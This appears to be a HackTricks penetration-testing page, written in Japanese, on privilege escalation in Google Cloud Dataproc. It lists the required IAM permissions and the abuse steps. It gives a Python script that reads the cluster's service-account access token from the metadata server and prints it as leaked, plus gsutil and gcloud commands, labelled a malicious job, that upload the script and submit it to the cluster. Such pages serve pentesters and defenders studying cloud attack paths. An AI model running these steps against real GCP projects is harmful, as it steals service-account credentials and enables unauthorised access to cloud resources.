# GCP Dataproc Privilege Escalation

{{#include ../../../banners/hacktricks-training.md}}

## Dataproc

{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}

### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`

この方法ではreverse shellを取得できませんでしたが、以下に示す方法を使ってmetadata endpointからSA tokenをleakすることは可能です。

#### 悪用手順

- ジョブスクリプトをGCP Bucketに配置する

- Dataprocクラスタにジョブを送信する

- ジョブを使ってmetadata serverにアクセスする

- クラスタで使用されるservice account tokenをleakする

<details><summary>metadata serverからSA tokenを取得するPythonスクリプト</summary>
```python
import requests

metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}

def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None

if __name__ == "__main__":
fetch_metadata_token()
```
</details>

<details><summary>Dataproc cluster に悪意のあるジョブを送信する</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
